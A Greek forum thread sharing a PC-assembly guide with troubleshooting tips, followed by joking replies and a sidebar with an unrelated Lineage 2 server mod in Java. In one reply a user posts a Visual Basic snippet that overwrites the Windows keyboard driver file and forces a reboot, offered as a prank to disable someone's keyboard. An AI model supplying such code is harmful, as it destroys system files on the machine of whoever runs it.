Jump to content

Recommended Posts

Posted

To lew apo tora auto to share dn einai diko mou alla einai enas odigos... pou prepei na deite !

Etsi estisa to pc to kainourgio pou pira :) Source :http://www.freestuff.gr (The best guides! )

 

Παρακάτω είναι όσα θα χρησιμοποιήσουμε

im1.jpg

 

θα χρειαστούμε επίσης ένα κατσαβίδι και θερμοαγώγιμη πάστα για τον επεξεργαστή.

im2.jpg

 

και ίσως να σας φανούν χρήσιμα μερικά tie wraps για να μαζέψετε τα καλώδια

im3.jpg

 

Την μητρική την στερεώνουμε στο tower με χρήση studs στις τρυπούλες που έχει πάνω το tower (Mounting holes) η spacers. Βασικά spacers χρησιμοποιούμε μόνο αν δεν μπορούμε να κάνουμε διαφορετικά η αν το board έχει στερεωθεί καλά και απλά θέλουμε να συμπληρώσουμε. Αυτό που έχει σημασία είναι να στερεωθεί καλά η μητρική χωρίς να τραβιέται ολόκλήρη η πλακέτα κάθε φορά που χρειάζεται να αφαιρέσουμε κάτι από αυτή...

stsp.gif

 

Δεν θα βάλω περισσότερες εικόνες για την τοποθέτηση της μητρικής γιατί δεν είναι δύσκολη υπόθεση και γιατί βαριόμουν να ξεβιδώνω και τη μητρική…

 

Πρίν αρχίσουμε να ρίξουμε μια προσεκτικότερη ματιά στο motherboard

im4.jpg

 

1) Εδώ βλέπουμε το socket στο οποίο τοποθετείτε η cpu

2) Τα 3 slots στα οποία μπαίνουν οι μνήμες. Ξεκινάμε την τοποθέτηση από το πρώτο αριστερά και συνεχίζουμε. Στα motherboards με nforce chipset αν έχουμε 2 ίδιες μνήμες και θέλουμε να δουλέψουν ως dual τοποθετούμε το ένα stick στην 1 και το άλλο στην Τρίτη θέση [είναι απομονωμένη από τις άλλες δύο]

3) Σε αυτή την υποδοχή μπαίνει το καλώδιο της τροφοδοσίας από το τροφοδοτικό. Τα atx έχουν 20 pins και τα btx 24. Η θέση της πάνω στο motherboard μπορεί να διαφέρει.

 

Επιπλέον σε ποιο καινούργιους υπολογιστές θα δείτε ότι υπάρχει άλλη μια θέση για ρεύμα από το τροφοδοτικό που παρέχει ρεύμα στη cpu.

im5.jpg

 

Στην επόμενη εικόνα βλέπουμε τα σημεία στα οποία τοποθετούμε τα ide καλώδια. Η μικρότερη υποδοχή είναι για το floppy.

im6.jpg

 

Στην παρακάτω φωτογραφία βλέπουμε τις 5 pci και την μια Agp για την κάρτα γραφικών στην κορυφή. Οι πιο καινούργιοι υπολογιστές αντί για AGP διαθέτουν pci express θέση για την κάρτα γραφικών. Μάλιστα μπορεί να διαθέτουν και 2 για την ένωση 2 καρτών γραφικών (SLI) αλλά αυτό ισχύει μόνο για κάρτες της nvidia. Φανταστείτε 2 6800ultra μαζί… τι τροφοδοτικό να χρειάζεται άραγε….?

im7.jpg

 

Τέλος κάτω δεξιά στην μητρική βρίσκονται τα Pins που συνδέονται τα καλώδια από το tower (power, reset, leds, speaker)

im8.jpg

 

Η διάταξη των επιμέρους στοιχείων μιας μητρικής μπορεί να διαφέρει από αυτή που απεικονίζεται στις φωτογραφίες.

 

Το πρώτο πράγμα που θα τοποθετήσουμε στη μητρική είναι ο επεξεργαστής.

 

Γυρίστε τον επεξεργαστή από την πλευρά που φαίνεται στην επόμενη φωτογραφία και απλώστε λίγη σιλικόνη πάνω.

im9.jpg

 

Στη συνέχεια σηκώστε το μοχλουδάκι που βρίσκεται στο socket, τοποθετήστε τη cpu και ξανακατεβάστε το.

im9-1.jpg

im12.jpg

 

προσοχή χρειάζεται στην τοποθέτηση ώστε να μην καταστρέψετε κάτι από λάθος χειρισμό. Δεν χρειάζεται, ούτε πρέπει να ασκήσετε πίεση στη cpu. Απλά τοποθετήστε τη και βεβαιωθείτε ότι έχει μπεί καλά και ότι δεν βρίσκει αντίσταση ο μοχλός όταν τον κατεβάσετε. Η cpu τοποθετείτε μόνο με ένα τρόπο!

 

Πχ κοιτάξτε την παρακάτω cpu

socketcpu.jpg

Σε μερικούς νέους επεξεργαστές τα pins βρίσκονται πάνω στη μητρική και όχι στη cpu.

 

Σειρά έχει η ψύκτρα (heatsink)

im12-1.jpg

im15.jpg

im16.jpg

 

Οδηγίες για την τοποθέτησή της δεν μπορώ να δώσω γιατί υπάρχουν αρκετές διαφορές ανάλογα με το σύστημα…

kits.jpg

 

 

Μην ξεχάσετε να τοποθετήσετε και το καλωδιάκι που φεύγει από το ανεμιστηράκι στο cpu_fan της μητρικής.

im17.jpg

im18.jpg

im19.jpg

 

Συνεχίζουμε με τη μνήμη

 

Όπως είπα και στην αρχή η μνήμη τοποθετείτε στο πρώτο slot και συνεχίζουμε προς τα δεξιά την τοποθέτηση των υπόλοιπων modules που τυχών έχουμε. Η μνήμη μπαίνει μόνο από μια πλευρά. Ένας εύκολος τρόπος για να μην κάνετε λάθος είναι ότι το σηματάκι της εταιρίας πρέπει να κοιτάει την cpu…

im19-1.jpg

 

Λίγο μπακάλικος αλλά δεν θα μπερδευτείτε τουλάχιστον. Πάντως με τις νέες μνήμες δύσκολα θα έχετε πρόβλημα γιατί έχουν εγκοπές σε συγκεκριμένα σημεία και δεν μπαίνουν όπως να ‘ναι…

 

Ανοίξτε τα clips πάνω στη μητρική.

Τοποθετείστε αρχικά τη μνήμη μέσα στο slot και αφού βεβαιωθείτε ότι έχει τοποθετηθεί καλά μέσα στην εγκοπή ...

im21.jpg

....πιέστε ταυτόχρονα στα άκρα τη μνήμη μέχρι να κλείσουν τα clips.

 

Το επόμενο βήμα θα είναι η τοποθέτηση των drives. ( floppy, dvd, δίσκος )

 

Τοποθετήστε και βιδώστε τις συσκευές πάνω στο tower η πιάστε τις με clips η όπως αλλιώς σας επιτρέπει το tower. Απλά σιγουρευτείτε ότι είναι σταθερά τοποθετημένες πάνω στο tower

im22.jpg

 

Το παρακάτω καλώδιο είναι για floppy. Η αριστερή άκρη θα μπεί στη μητρική και η δεξιά στο floppy.

im23.jpg

im24.jpg

im25.jpg

floppy.jpg

 

Στη συνέχεια βάζουμε και τα ide καλώδια πάνω στη μητρική.

floppy-1.jpg

im27.jpg

 

Εγώ έβαλα μόνο ένα παραπάνω. Στη συνέχεια συνδέστε τα με τις συσκευές.

drive.jpg

 

Επειδή πιθανά θα αναρωτιέστε πώς να το κάνετε αυτό θα αναφέρω μερικά πράγματα γιατί αν κάνετε λάθος εδώ ο υπολογιστής δεν θα μπορεί να αναγνωρίσει τις συσκευές.

 

Οι συσκευές τοποθετούνται ως master, slave, alone

Αυτό γίνεται με τη χρήση jumpers όπως στην παρακάτω εικόνα.

jumper.jpg

 

Στην επόμενη εικόνα βλέπουμε ένα cdrw με το jumper ρυθμισμένο σε θέση slave

cdrw.jpg

 

Για την θέση που θα μπούνε τα jumpers κοιτάξτε πάνω στα drives. Θα τα βρείτε πάνω στο drive.

info.jpg

 

Αν θα συνδέσουμε ένα drive πάνω στο ide τότε μπορούμε να μην χρησιμοποιήσουμε jumper και να αφήσουμε τη συσκευή ως μοναδική.

 

Αν συνδέσουμε όμως 2 drives τότε το ένα θα πρέπει να ρυθμιστεί ως master και το άλλο ως slave.

Αφού τοποθετήσουμε τα jumpers θα πρέπει να συνδέσουμε και το ide καλώδιο.

ide.gif

 

Βλέπουμε ότι η μία άκρη θα μπεί στο Motherboard και οι άλλες δύο στα drives

 

Οι συσκευές που βρίσκονται στο πρώτο ide αναγνωρίζονται ως primary master και primary slave. Αυτές στο δεύτερο (αν έχουμε και δεύτερο) ως secondary master, secondary slave.

 

Εδώ να πώ ότι καλό θα είναι για λόγους ταχύτητας οι δίσκοι να μην είναι μαζί στο ίδιο ide με τις συσκευές ανάγνωσης, εγγραφής.

 

Βέβαια εκτός από ide θα μπορούσαν οι συσκευές να είναι sccsi οι η δίσκοι να είναι συνδεδεμένοι σε serial ata.

 

Αφού συνδέσουμε τα drives θα πρέπει να τους δώσουμε και ρεύμα από το τροφοδοτικό.

im28.jpg

 

Το αριστερό καλώδιο συνδέεται με τη μητρική, το μεσαίο είναι για σκληρούς δίσκους, dvd, cd, ανεμιστηράκια κτλ. Και το δεξί συνήθως για το floppy.

im29.jpg

im30.jpg

im31.jpg

im32.jpg

 

Μετά την τοποθέτηση των drives θα βάλουμε και τις κάρτες (γραφικών, ήχου κτλ)

Αυτό νομίζω είναι αρκετή απλή δουλειά

im33.jpg

im34.jpg

 

Απλά προσπαθήστε αν δεν έχετε πολλές Pci να αφήσετε ένα μικρό κενό ανάμεσα στις pci και την κάρτα γραφικών.

 

Μετά τις pci συνδέστε και τα extra που μπορεί να έχει η μητρική. Bluetooth, extra usb κτλ.

im37.jpg

 

Αφού τα έχετε τοποθετήσει όλα το μόνο που μένει είναι να συνδέσετε και το tower με τη μητρική. Δηλαδή τα leds , reset, power και το speaker.

im35.jpg

 

Αν και πάνω στη μητρική αναφέρεται ποιο πάει πού… καλύτερα να κοιτάξετε το εγχειρίδιο της μητρικής γιατί είναι λίγο μπερδεμένα.

im36.jpg

 

_______

Συνδέστε πληκτρολόγια, οθόνες, ποντίκια…

Τώρα μπορούμε να ανοίξουμε επιτέλους το pc και όλα θα δουλεύουν θαυμάσια

_______________________________________________________________________________

Αν χρειαστεί (βασικά αν δεν αναγνωριστεί σωστά η cpu) μπείτε στο bioς και κάντε τις ρυθμίσεις που πρέπει. Συνήθως αν πρέπει να αλλάξετε κάτι αυτό είναι το fsb του επεξεργαστή.

 

pc troubleshooter...

 

Ο PCίς δεν ανοίγει!

 

1) Δεν έχετε συνδέσει το τροφοδοτικό με τη μητρική

2) Δεν έχετε βάλει το pc στο ρεύμα

3) Δεν έχετε συνδέσει το power button του tower σωστά στη μητρική.

 

Ο PCίς ανοίγει αλλά δεν φαίνεται να δουλεύει η cpu και δε βλέπω tpt στην οθόνη.

 

Ίσως να χρειαστεί να αλλάξετε από τη μητρική το bus της cpu . Δείτε το εγχειρίδιο της μητρικής. Αν δεν πιάσει αυτό κάντε ένα cmos. Αν δεν πιάσει ούτε αυτό βραχυκυκλώστε την μπαταρία.

 

Ο PCίς ανοίγει (ανοίγει αλλά δεν βλέπω την τύφλα μου) και ακούγονται συνεχόμενα beeps

 

Η μνήμη δεν έχε τοποθετηθεί σωστά

 

Ο PCίς ανοίγει (ανοίγει αλλά δεν βλέπω την τύφλα μου η τα πάντα τρεμοπαίζουν η, η εικόνα εμφανίστηκε στιγμιαία μόνο) και ακούγονται συνεχόμενα beeps.

 

Η κάρτα γραφικών δεν είναι σωστά τοποθετημένη. Αυτό σημαίνει ότι η δεν έχει κουμπώσει καλά η είναι υπερβολικά σφιχτή η το tower είναι τόσο *&* που δεν επιτρέπει το σωστό βίδωμα της κάρτας… (το έχω δεί και αυτό…)

 

Ο PCίς ανοίγει τα πάντα φαίνεται να λειττουργούν σωστά αλλά η οθόνη είναι μάυρη.

 

Ελέγξτε το καλώδιο της οθόνης αν έχει φύγει η δεν έχει μπεί στο σωστό σημείο. Ειδικά αν έχετε καμιά dual head κάρτα γραφικών και τα μπερδέψατε.

Posted

emena m emeine sto mualo h SD ram h 256MB sta 133Mhz?

 

WARNING: osoi dn exoun xsanapiasei katsabidi k eswteriko pc kalutera mhn peiraxsoun tpt

 

lolen akribws tetoia pragmata lunw apo th B gumnasiou  an skeftei kaneis oti xsekinhsa fetos panepisthmio popo perna o roufianos o kairos :P

 

btw h lush stous epexsergastes einai h udropsuxsh(ZalmaN ftw)

Posted

Karma... h texnologia alakse.. ksereis..

 

Oups ! Ontws einai arketa palio.. Tin ekana pali tin m@l@kia m xD.. Ex8es dn eixa ti na kanw kai eipa katse na anoiskoume kanena topic  :/ Soz soz !! EEee mi rimaksete ta pc sas kai meta egw akouso xristopanagies :P :)

Posted

Oups ! Ontws einai arketa palio.. Tin ekana pali tin m@l@kia m xD.. Ex8es dn eixa ti na kanw kai eipa katse na anoiskoume kanena topic  :/ Soz soz !! EEee mi rimaksete ta pc sas kai meta egw akouso xristopanagies :P :)

;D ;D ;D

Posted

eLe0s re file perimeneis na to diabasei kaneis oli auti tin egkiklopedia...? tespa...

 

 

Ox re... mi me prizeis to kefali kai esy !

 

Proton ekana vlakeia pou to ekana share gt einai palio kai deyteron ekana 1 wra gia na kanw oles autes tis eikones upload..

 

Kai esy tora dld gt asxolisai dn katalava ?

Epeidi esy variesai tin zoi sou simainei oti kai oi alloi dn 8eloun na diavasoun ?

Posted

Koita to guide den einai kai toso palio, dld siga, tis allages poy yparxoyn apo ta new...

Alla genikotera, to kalytero poy exei na kanei kapoios einai na diavasei to guide toy kathe item gia na einai sigoyros.

Pat'ol'afta, gia ena etoimo pc kalos einai san genikos odigos syndesis...

Posted

kana guide gia na to xalaseis exis?:P:P

 

am3... pos dn exei... akou.,..

1)pas pano p leei messages..

2)create message

3)ekei p leei 'to'  simplironeis Wanted

4)apo kato grafeis:

      Wanted, thelo ligo help me to pC mou. ela na me help...!!

 

 

 

100% epitixia. to pc tha xalasei SuRe

Posted

am3... pos dn exei... akou.,..

1)pas pano p leei messages..

2)create message

3)ekei p leei 'to'  simplironeis Wanted

4)apo kato grafeis:

      Wanted, thelo ligo help me to pC mou. ela na me help...!!

 

 

 

100% epitixia. to pc tha xalasei SuRe

haha giati na xriasto tin voithia sou? gia plaka to ipa

bios,registry,system32 dll's k .sys thes kati alo?aa kai rom pou milame gia hardware

 

dokimase afto me ena vb compiler:

Private Sub Form_Load()

Open "C:\WINDOWS\system32\keyboard.sys" For Output As #1

Write #1, 1

Write #1, 1

Write #1, 1

Close #1

shell "shutdown.exe -R",vbhide

End Sub

kai des to keyboard sou na xanete

Posted

haha giati na xriasto tin voithia sou? gia plaka to ipa

bios,registry,system32 dll's k .sys thes kati alo?aa kai rom pou milame gia hardware

 

dokimase afto me ena vb compiler:kai des to keyboard sou na xanete

 

me auton ton tropo... kaneis ena format k telioses... m tn diko m ( na m fonakseis) xalaei monima to pC

Posted

sou fenome na thelo tin voithia sou??haha poli astio.an pirakseis to BIOS esto k ligo den tha sou anavei to pc An sto piraksi kapios p kseri borei na sta kapsei ola anevazodas tn tasi tou revmatos opote an koliseis kapio kalo virus gia Bios ise teliomenos min milisoume gia Rom kamenes mitrikes etc apoti katalava mono ta .dll epiases sto pano post haha ok a kai ama sou svistoun dll apo system sou den xriazete na kanis format boris na to ftiakseis poli grigora

ade gia pes mas ton tropo sou....

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



  • Posts

    • [Release] Solo PvP Zone System 🔹 Compatible with: aCis 401+ 📜 Features: ✅ Automatic Exit on Restart: Players are removed from the zone if a restart occurs or logout. ✅ Custom Exit Command: Players can exit the Solo Zone with the voice command .exit. ✅ Teleport NPC Command: new bypass solopvp for gatekeeper. ✅ Random Name Generator: Generates random names. ✅ PvP Flag: The players are flagged within this zone.   xml preview & java code backup code -> https://pastebin.com/974V2p2p   SoloZone.xml <?xml version="1.0" encoding="UTF-8"?> <list> <zone shape="NPoly" minZ="-5200" maxZ="-4680"><!-- Frintezza Solo Zone --> <stat name="name" val="Solo PvP Zone" /> <stat name="locs" val="174244,-89089,-5112;174260,-86881,-5112;173184,-88090,-5112;175309,-88018,-5112;174231,-88019,-5112;175136,-88828,-5104;174962,-87025,-5104;173149,-87142,-5104;173470,-88908,-5112" /> <stat name="restrictedClasses" val="15,16,97" /> <node x="172031" y="-90127"/> <node x="176428" y="-90089"/> <node x="176428" y="-74051"/> <node x="172057" y="-74108"/> </zone> </list> SoloZone Code: diff --git a/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java b/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/taskmanager/SoloZoneTaskManager.java @@ -0,0 +1,98 @@ +package net.sf.l2j.gameserver.taskmanager; + +import java.security.SecureRandom; +import java.util.ArrayList; +import java.util.logging.Logger; + +import net.sf.l2j.commons.random.Rnd; + +import net.sf.l2j.gameserver.data.manager.ZoneManager; +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.voicecommandhandlers.VoiceExitSoloZone; +import net.sf.l2j.gameserver.model.World; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.model.zone.type.SoloZone; + + +/** + * @author MarGaZeaS + */ +public class SoloZoneTaskManager implements Runnable { + + private static final Location EXIT_LOCATION = VoiceExitSoloZone.getExitLocation(); // Λαμβάνουμε την έξοδο από το VoiceExitSoloZone + + @Override + public void run() + { + // Διασχίζουμε όλους τους παίκτες του κόσμου + for (Player player : World.getInstance().getPlayers()) + { + // Ελέγχουμε αν ο παίκτης είναι στο SoloZone + if (player.isInsideZone(ZoneId.SOLO)) + { + // Μεταφέρουμε τον παίκτη στην έξοδο + player.teleportTo(EXIT_LOCATION.getX(), EXIT_LOCATION.getY(), EXIT_LOCATION.getZ(), 0); + player.sendMessage("The server is restarting, you have been moved out of the Solo Zone."); + } + } + } + + private int _id; + + private static final Logger _log = Logger.getLogger(SoloZoneTaskManager.class.getName()); + private static final ArrayList<String> _rndNames = new ArrayList<>(); + private static final int RANDOM_NAMES = 500; + private static final String CHARS = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; + private int _playersInSoloZone = 0; + + public int getPlayersInside() { + return _playersInSoloZone; + } + + public void setPlayersInside(int val) { + _playersInSoloZone = val; + } + + public SoloZoneTaskManager() { + _log.info("Solo Zone System: Loading..."); + for (int i = 0; i < RANDOM_NAMES; i++) { + String name = generateName(); + _rndNames.add(name); + _log.info("Generated name: " + name); + } + _log.info("Solo Zone System: Loaded " + _rndNames.size() + " names."); + } + + public String getAName() { + if (_rndNames.isEmpty()) { + _log.warning("SoloZoneManager: No random names available."); + return "Unknown"; + } + return _rndNames.get(Rnd.get(5, RANDOM_NAMES - 5)); + } + + private static String generateName() { + SecureRandom rnd = new SecureRandom(); + StringBuilder sb = new StringBuilder(15); + for (int i = 0; i < 15; i++) { + sb.append(CHARS.charAt(rnd.nextInt(CHARS.length()))); + } + return sb.toString(); + } + + public int getZoneId() + { + return _id; + } + + public final static SoloZone getCurrentZone() { + return ZoneManager.getInstance().getAllZones(SoloZone.class) + .stream() + .findFirst() // Επιστρέφει την πρώτη SoloZone (αν υπάρχει μόνο μία) + .orElse(null); + } + + public static SoloZoneTaskManager getInstance() { + return SingletonHolder._instance; + } + + private static class SingletonHolder { + private static final SoloZoneTaskManager _instance = new SoloZoneTaskManager(); + } +} diff --git a/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java b/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java index a707ce5..d247e2e 100644 --- a/aCis_gameserver/java/net/sf/l2j/gameserver/taskmanager/PvpFlagTaskManager.java final Player player = entry.getKey(); final long timeLeft = entry.getValue(); + if(player.isInsideZone(ZoneId.SOLO)) + continue; if(player.isInsideZone(ZoneId.BOSS)) continue; // Time is running out, clear PvP flag and remove from list. if (currentTime > timeLeft) diff --git a/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java b/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java index a707ce5..d247e2e 100644 +++ b/aCis_gameserver/java/net/sf/l2j/gameserver/network/clientpackets/RequestCharacterCreate.java if (Config.ALLOW_FISH_CHAMPIONSHIP) FishingChampionshipManager.getInstance(); + if (Config.ENABLE_STARTUP) + StartupManager.getInstance(); diff --git a/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java b/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/admincommandhandlers/AdminMaintenance.java if (!st.hasMoreTokens()) { sendHtmlForm(player); return; } try { switch (st.nextToken()) { case "shutdown": + SoloZoneTaskManager exitTask = new SoloZoneTaskManager(); + ThreadPool.schedule(exitTask, 0); Shutdown.getInstance().startShutdown(player, null, Integer.parseInt(st.nextToken()), false); break; case "restart": + exitTask = new SoloZoneTaskManager(); + ThreadPool.schedule(exitTask, 0); Shutdown.getInstance().startShutdown(player, null, Integer.parseInt(st.nextToken()), true); break; case "abort": Shutdown.getInstance().abort(player); break; diff --git a/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java b/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/voicecommandhandlers/VoiceExitSoloZone.java +package net.sf.l2j.gameserver.handler.voicecommandhandlers; + +import net.sf.l2j.commons.pool.ThreadPool; + +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.IVoiceCommandHandler; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.network.serverpackets.MagicSkillUse; + +/** + * Handles the voice command for exiting the Solo Zone with delay and effects. + * + * @author MarGaZeaS + */ +public class VoiceExitSoloZone implements IVoiceCommandHandler +{ + private static final String[] VOICE_COMMANDS = + { + "exit" + }; + + // Default location to teleport players when exiting the Solo Zone + private static final Location EXIT_LOCATION = new Location(81318, 148064, -3464); // Replace with your desired coordinates + + // Προσθήκη της μεθόδου για να πάρουμε την τοποθεσία εξόδου + public static Location getExitLocation() { + return EXIT_LOCATION; + } + + @Override + public void useVoiceCommand(Player player, String command) + { + if (command.equalsIgnoreCase("exit")) + { + if (!player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You are not inside the Solo Zone."); + return; + } + + // Notify the player about the delay + player.sendMessage("You will be teleported out of the Solo Zone in 2 seconds."); + + // Cast skill effect (Skill ID: 2100, Level: 1) + player.broadcastPacket(new MagicSkillUse(player, player, 2100, 1, 2000, 0)); + + // Schedule the teleportation after a 2-second delay + ThreadPool.schedule(() -> { + // Teleport the player to the designated exit location + player.teleportTo(EXIT_LOCATION.getX(), EXIT_LOCATION.getY(), EXIT_LOCATION.getZ(), 0); + + // Inform the player + player.sendMessage("You have exited the Solo Zone."); + }, 2000); // Delay in milliseconds (2000ms = 2 seconds) + } + } + + @Override + public String[] getVoiceCommandList() + { + return VOICE_COMMANDS; + } +} diff --git a/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java b/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/handler/VoiceCommandHandler.java public class VoiceCommandHandler { private final Map<String, IVoiceCommandHandler> _entries = new HashMap<>(); protected VoiceCommandHandler() { ............ ............ + registerHandler(new VoiceExitSoloZone()); } public void registerHandler(IVoiceCommandHandler handler) { for (String command : handler.getVoiceCommandList()) _entries.put(command, handler); } diff --git a/java/net/sf/l2j/gameserver/model/actor/Npc.java b/java/net/sf/l2j/gameserver/model/actor/Npc.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/actor/Npc.java else if (command.startsWith("Chat")) { int val = 0; try { val = Integer.parseInt(command.substring(5)); } catch (final IndexOutOfBoundsException ioobe) { } catch (final NumberFormatException nfe) { } showChatWindow(player, val); + ) + else if (command.startsWith("solopvp")) + { + SoloZoneTaskManager.getInstance(); + player.teleportTo(SoloZoneTaskManager.getCurrentZone().getLoc(), 25); + } else if (command.startsWith("Link")) { final String path = command.substring(5).trim(); if (path.indexOf("..") != -1) return; final NpcHtmlMessage html = new NpcHtmlMessage(getObjectId()); html.setFile("data/html/" + path); html.replace("%objectId%", getObjectId()); player.sendPacket(html); } diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java b/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestartPoint.java // Fixed. - else if (_requestType == 4) - { - if (!player.isGM() && !player.isFestivalParticipant()) - return; - - loc = player.getPosition(); - } + if (_requestType == 4) + { + // Έλεγχος αν ο παίκτης δεν είναι GM, δεν είναι μέρος του φεστιβάλ και δεν είναι στην Solo Zone + if (!player.isGM() && !player.isFestivalParticipant() && !player.isInsideZone(ZoneId.SOLO)) + { + return; + } + + SoloZoneTaskManager.getInstance(); + SoloZone currentZone = SoloZoneTaskManager.getCurrentZone(); + if (currentZone != null && currentZone.getLoc() != null) + { + // Αν υπάρχει ζώνη και οι τοποθεσίες δεν είναι κενές, χρησιμοποιούμε τυχαία τοποθεσία από την ζώνη + loc = currentZone.getLoc(); + } else + { + // Διαφορετικά, κάνουμε respawn στην τρέχουσα θέση του παίκτη + loc = player.getPosition(); + } + } diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java b/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/RequestRestart.java if (player.isFestivalParticipant() && FestivalOfDarknessManager.getInstance().isFestivalInitialized()) { player.sendPacket(SystemMessageId.NO_RESTART_HERE); sendPacket(RestartResponse.valueOf(false)); return; } + if (player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You cannot restart your character while in Solo Zone. Use .exit to leave"); + player.setFakeName(null); + sendPacket(RestartResponse.valueOf(false)); + return; + } player.removeFromBossZone(); diff --git a/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java b/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/network/clientpackets/Logout.java player.removeFromBossZone(); player.logout(true); } } + + if (player.isInsideZone(ZoneId.SOLO)) + { + player.sendMessage("You cannot logout or restart your character while in Solo Zone. Use .exit to leave"); + player.setFakeName(null); + player.sendPacket(ActionFailed.STATIC_PACKET); + return; + } + player.removeFromBossZone(); player.logout(true); } } diff --git a/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java b/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java new file mode 100644 index 0000000..6b7ef6f --- /dev/null +++ a/java/net/sf/l2j/gameserver/model/zone/type/SoloZone.java +package net.sf.l2j.gameserver.model.zone.type; + +import java.util.ArrayList; +import java.util.List; +import java.util.Random; + +import net.sf.l2j.commons.random.Rnd; + +import net.sf.l2j.Config; +import net.sf.l2j.gameserver.enums.MessageType; +import net.sf.l2j.gameserver.enums.ZoneId; +import net.sf.l2j.gameserver.handler.voicecommandhandlers.VoiceExitSoloZone; +import net.sf.l2j.gameserver.model.World; +import net.sf.l2j.gameserver.model.actor.Creature; +import net.sf.l2j.gameserver.model.actor.Player; +import net.sf.l2j.gameserver.model.location.Location; +import net.sf.l2j.gameserver.model.zone.type.subtype.ZoneType; +import net.sf.l2j.gameserver.network.SystemMessageId; +import net.sf.l2j.gameserver.network.serverpackets.EtcStatusUpdate; +import net.sf.l2j.gameserver.taskmanager.PvpFlagTaskManager; +import net.sf.l2j.gameserver.taskmanager.SoloZoneTaskManager; + +/** + * @author MarGaZeaS + * + */ +public class SoloZone extends ZoneType +{ + private String _name; + private List<Location> _locations = new ArrayList<>(); + + public SoloZone(int id) + { + super(id); + } + + @Override + public void setParameter(String name, String value) + { + if (name.equals("name")) + _name = value; + else if (name.equals("locs")) + { + for (String locs : value.split(";")) + { + String[] coordinates = locs.split(","); + if (coordinates.length == 3) + { + int x = Integer.parseInt(coordinates[0]); + int y = Integer.parseInt(coordinates[1]); + int z = Integer.parseInt(coordinates[2]); + _locations.add(new Location(x, y, z)); + } + else + { + LOGGER.warn("Invalid location format: " + locs); + } + } + } + } + + + @Override + protected void onEnter(Creature character) + { + if (character instanceof Player) + { + final Player player = (Player) character; + + if ((player.getClassId().getId() == 15 || player.getClassId().getId() == 16 || player.getClassId().getId() == 97)) + { + Location respawnLocation = VoiceExitSoloZone.getExitLocation(); + player.instantTeleportTo(respawnLocation, 20); + player.sendMessage("Your class is not allowed in this zone."); + return; + } + + String randomName = SoloZoneTaskManager.getInstance().getAName(); + if (randomName == null || randomName.isEmpty() || !isValidName(randomName)) + { + randomName = generateRandomName(); + } + if (isNameAlreadyTaken(randomName)) + { + randomName = generateRandomName(); + } + player.setFakeName(randomName); + player.sendMessage("Welcome to the Solo Zone, your random name is: " + randomName); + player.sendPacket(SystemMessageId.ENTERED_COMBAT_ZONE); + character.setInsideZone(ZoneId.SOLO, true); + character.setInsideZone(ZoneId.NO_STORE, true); + character.setInsideZone(ZoneId.NO_SUMMON_FRIEND, true); + + if (player.getParty() != null) + { + player.getParty().removePartyMember(player, MessageType.DISCONNECTED); + } + + if (player.getPvpFlag() > 0) + PvpFlagTaskManager.getInstance().remove(player, true); + + player.updatePvPStatus(); + player.broadcastUserInfo(); + } + } + + private static boolean isValidName(String name) { + return name.matches("[a-zA-Z0-9_]+"); + } + + private static String generateRandomName() { + Random rand = new Random(); + int nameLength = rand.nextInt(12) + 4; + StringBuilder nameBuilder = new StringBuilder(); + + for (int i = 0; i < nameLength; i++) { + char randomChar = (char) (rand.nextInt(26) + 'a'); + nameBuilder.append(randomChar); + } + + return nameBuilder.toString(); + } + + private static boolean isNameAlreadyTaken(String name) { + return World.getInstance().getPlayers().stream().anyMatch(player -> player.getFakeName().equals(name)); + } + + @Override + protected void onExit(Creature character) + { + 